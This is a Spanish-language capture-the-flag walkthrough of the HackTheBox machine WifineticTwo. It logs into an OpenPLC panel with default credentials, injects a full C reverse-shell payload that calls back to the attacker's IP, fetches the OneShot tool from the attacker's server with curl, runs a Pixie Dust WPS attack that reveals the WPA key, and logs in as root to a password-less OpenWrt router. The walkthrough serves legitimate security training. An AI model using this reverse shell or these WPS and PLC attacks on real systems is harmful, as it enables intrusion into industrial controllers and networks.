WifineticTwo – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
WifineticTwo
es una máquina basada en Linux
de la plataforma HackTheBox
. Después de un escaneo inicial de puertos TCP
, éste muestra que la máquina víctima está corriendo un sitio web. Visitando este sitio web notamos que éste es un panel de login para OpenPLC
, un Programmable Logic Controler (PLC) software. Afortunadamente, el portal utiliza las credenciales por defecto para OpenPLC
, lo cual nos permite ganar acceso dentro del panel de administración. Una vez dentro de éste, somos capaces de inyectar código malicioso en C
y ganar acceso inicial a la máquina víctima. Revisando las interfaces de net, notamos que entre ellas hay una interfaz de net de WiFi
. Analizando la configuración de esta nueva interfaz, nos percatamos de que podemos performar un ataque Pixie Dust Attack
, lo cual nos permite robar credenciales/PIN para generar un certificado. Usando este certificado nos podemos autenticar ante el router y ganar acceso a la máquina que administra éste, completando así la máquina.
User / Usuario Link to heading
Empezamos mirando por puertos TCP
que estén abiertos utilizando la herramienta Nmap
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.7
El scan muestra sólo 2 puertos abiertos: 22
SSH
y 8080
HTTP
:
❯ sudo nmap -sVC -p22,8080 10.10.11.7 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 20:56 -04
Nmap scan report for 10.10.11.7
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzw.ST-G_x-51p-hrlnoJWimVQD7K9Y; Expires=Fri, 24-May-2024 01:01:47 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 24 May 2024 00:56:47 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzQ.6sVEZe2_89oZVXIkhWgb6zwWALU; Expires=Fri, 24-May-2024 01:01:45 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 24 May 2024 00:56:45 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzg.3ADo50DfUqDOgDH8Oq9HKvfLk_4; Expires=Fri, 24-May-2024 01:01:46 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 24 May 2024 00:56:46 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.85 seconds
Visitando http://10.10.11.7:8080
redirige a la url http://10.10.11.7:8080/login
, donde podemos ver un panel para el software OpenPLC
:
OpenPLC
is an open-source Programmable Logic Controller (PLC) that is based on an easy to use software. It is the first fully functional standardized open source PLC, both in software and in hardware.Buscando qué es un PLC
tenemos:
Tal cual se puede encontrar en el repositorio oficial de OpenPLC, las credenciales por defecto son openplc:openplc
. Si usamos estas credenciales en el panel de autenticación funciona, y estamos dentro:
Una vez dentro, y analizando la página, si vamos a la pestaña de Hardware
al lado izquierda, podemos ver una página como la siguiente:
Este sitio muestra un panel donde se puede ver un código en lenguaje de programación C
. El código muestra algunas funciones llamadas initCustomLayer
, updateCustomIn
and updateCustomOut
, las cuales se encuentran vacías; de manera que de momento no ejecutan nada. Dado que necesitamos un payload en C
es que voy a la página de Reverse Shell Generator
(https://www.revshells.com/), voy a la sección de payloads en C
, cambio la dirección a 10.10.16.2
(mi IP de atacante) y 443
(el puerto en el cual me pondré en escucha con netcat
). El código que genera la página es entonces:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 443; // Listening port
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.2"); // Change to your IP
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Ahora agregamos este código al código original (no reemplazamos todo, sólo una porción). Paso el payload dentro de la función llamada updateCustomOut()
, de manera que el código en la página -no considerando los comentarios del código- se ve ahora como:
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer()
{
}
void updateCustomIn()
{
}
void updateCustomOut()
{
int port = 443; // Listening port
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.2"); // Change to your IP
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Empiezo un listener con netcat
en el puerto 443
y clickeo en Save changes
. El programa compila, pero no sucede nada. De vuelta al Dashboard
, en la parte inferior izquierda puedo ver un botón que dice Start PLC
. Apenas clickeo en esta obtengo una shell en mi listener de netcat
como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.7] 58690
whoami
root
No obstante, noto que la IP de la máquina no es la misma que la de la máquina víctima:
root@attica01:/opt/PLC/OpenPLC_v3/webserver# hostname -I
10.0.3.2 10.0.3.52
de manera que debemos estar dentro de un contenedor o algo similar.
Además noto que dentro del directorio /root
encontramos el archivo user.txt
flag… de manera que ya obtenemos la flag del usuario.
root@attica01:/opt/PLC/OpenPLC_v3/webserver# ls /root
user.txt
Root Link to heading
Corriendo ip a
muestra que tenemos una nueva interfaz de net llamada wlan0
, una nomenclatura comúnmente usada para interfaces WiFi
. Basados en el nombre de la máquina víctima, esto es una pista. Luego, analizamos la interfaz wlan0
:
root@attica01:/opt/PLC/OpenPLC_v3/webserver# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 4163.844s [boottime]
TSF: 1716516063819443 usec (19867d, 02:01:03)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
leyendo Config methods: Label, Display, Keypad
sugiere que WPS
(Wi-Fi Protected Setup
) está activo. De manera que, en resumen, el WPS
está habilitado en la red con SSID plcrouter
.
Basados en estos descubrimientos, podemos tratar de realizar un Pixie Dust Attack
usando la herramienta OneShot
(más espefíciamente, su versión escrita en C
de este repositorio) siguiendo los pasos de HackTricks. Clonamos la herramienta en nuestra máquina de atacante y compartimos un servidor temporal HTTP
con Python
en el puerto 8080
:
❯ git clone https://github.com/nikita-yfh/OneShot-C.git
Cloning into 'OneShot-C'...
remote: Enumerating objects: 32, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 32 (delta 17), reused 4 (delta 0), pack-reused 0
Receiving objects: 100% (32/32), 19.20 KiB | 378.00 KiB/s, done.
Resolving deltas: 100% (17/17), done.
❯ cd OneShot-C
❯ ls && python3 -m http.server 8080
Makefile oneshot.c README.md vulnwsc.txt
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8000/) ...
y en la máquina víctima me descargo el recurso compartido usando cURL
:
root@attica01:/opt/PLC/OpenPLC_v3/webserver# curl -s http://10.10.16.2:8080/oneshot.c -o /tmp/oneshot.c
Luego, construimos/compilamos el archivo .c
:
root@attica01:/opt/PLC/OpenPLC_v3/webserver# cd /tmp
root@attica01:/tmp# gcc oneshot.c -o oneshot
Lo ejecutamos, seleccionando aquella opción que muestra plcroute
(en este caso la opción 1
). De esta manera obtenemos:
root@attica01:/tmp# ./oneshot -i wlan0 -K
[*] BSSID not specified (--bssid) — scanning for available networks
Network list:
# BSSID ESSID Sec. PWR WSC device name WSC model
1) 02:00:00:00:01:00 plcrouter WPA2 -30
Select target (press Enter to refresh): 1
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: 3179692a770db1f3c041063529e7d1c8
[*] Building Message M2
[P] PKR: 0722027bb27165c18bb3f32cfeddddc9dac30e910aae471749a212d3e096263c4ce1685fffbe5ae8894e33fc042b7f65e7718bffffe55e9662d849dbcbf65a704dfde008e52dccfa37af30e35a174981392e1101750e4f479e31ddd21fa0a5d71a6b77d0dbf071dbe489a87802e1fddb5999101f03bd3f7ef891f30ca5f27f054b270a1caf5f3de40e7274610ad44c032e1f7b6b348c9d7961b158081496e792fdd159c150c88cdde9d2722585d570e9f9c4d948696719676bf97e94b10dacdd
[P] PKE: a7208b819389e5a8c99da2ac8f7e314be9e174b493b233f7328469bd9a657bd79f04ace5f6a87e5e87da72e99b19c715c466da2605efa5e80d4d43a7a6f30e7e8a656a3d4113f6ed2a9e3ad0b5c7addb57923f70a31d7d0d6d0fcaf43077b21f6cfb8b716bd036834057e6635a1207c9cc2c2daff8c4b10ea0150e1f6ac0fe92ee0b73893ca04f050a8d0a6bff55fb29c92434d1dd519b30f38336a980faa7a50884055260a2ea5b7d192e7f3bed2c112b7aadf679552cd8443541b23340b6c1
[P] Authkey: 1f08524b0af2da914eb5426252442b7e2c93e33a35af41fc053b81854f464657
[*] Received WPS Message M3
[P] E-Hash1: ca3c4ae5e9d29ba95361c95a59004cf5b76d0dd78bfe1648b0fd03d51cef596e
[P] E-Hash2: fa097374b2e3165ba269777ded8097e587bcd16751bad315d8d183968da562e5
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter
Aquí WPA PSK: NoWWEDoKnowWhaTisReal123!
y AP SSID: plcrouter
son los parámetros importantes. Ahora seguiré estos pasos. Podemos entonces utilizar una herramienta llamada wpa_passphrase
para guardar estas credenciales y así generar un “certificado”. Noto que la herramienta wpa_passphrase
ya está previamente instalada en la máquina víctima:
root@attica03:/opt/PLC/OpenPLC_v3/webserver# which wpa_passphrase
/usr/bin/wpa_passphrase
De manera que corremos en la máquina víctima basados en la documentación:
root@attica03:/tmp# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > leaked
lo cual genera un archivo (el cual he decidido llamar leaked
):
root@attica03:/tmp# cat leaked
network={
ssid="plcrouter"
#psk="NoWWEDoKnowWhaTisReal123!"
psk=2bafe4e17630ef1834eaa9fa5c4d81fa5ef093c4db5aac5c03f1643fef02d156
}
Luego, podemos utilizar la herramienta wpa_supplicant
(la cual también está ya instalada en la máquina víctima):
root@attica03:/tmp# wpa_supplicant -B -c leaked -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
No obstante, todavía no tenemos una dirección de IP para esta interfaz de net:
root@attica03:/tmp# ip addr show wlan0
7: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
inet6 fe80::ff:fe00:400/64 scope link
valid_lft forever preferred_lft forever
de manera que asignamos una:
root@attica03:/tmp# ifconfig wlan0 192.168.1.15 netmask 255.255.255.0
donde he asignado la dirección de IP 192.168.1.15
. En este caso 198.168.1.X
es un “estándar” y 15
decidí usarlo para asegurarme de que no hallan máquinas en la red con esta IP/evitar conflictos.
Ahora, trato de loguearme via SSH
como root
a la IP por defecto de la red, la cual usualmente es 192.168.1.1
(simplemente 1
en lugar de 15
en el último octeto de la dirección IPv4):
root@attica03:/tmp# ssh root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@ap:~# whoami
root
Y nos hemos podido loguear como el usuario root
en la máquina principal. Podemos finalmente leer la flag del usuario root
en el directorio /root
.
~Happy Hacking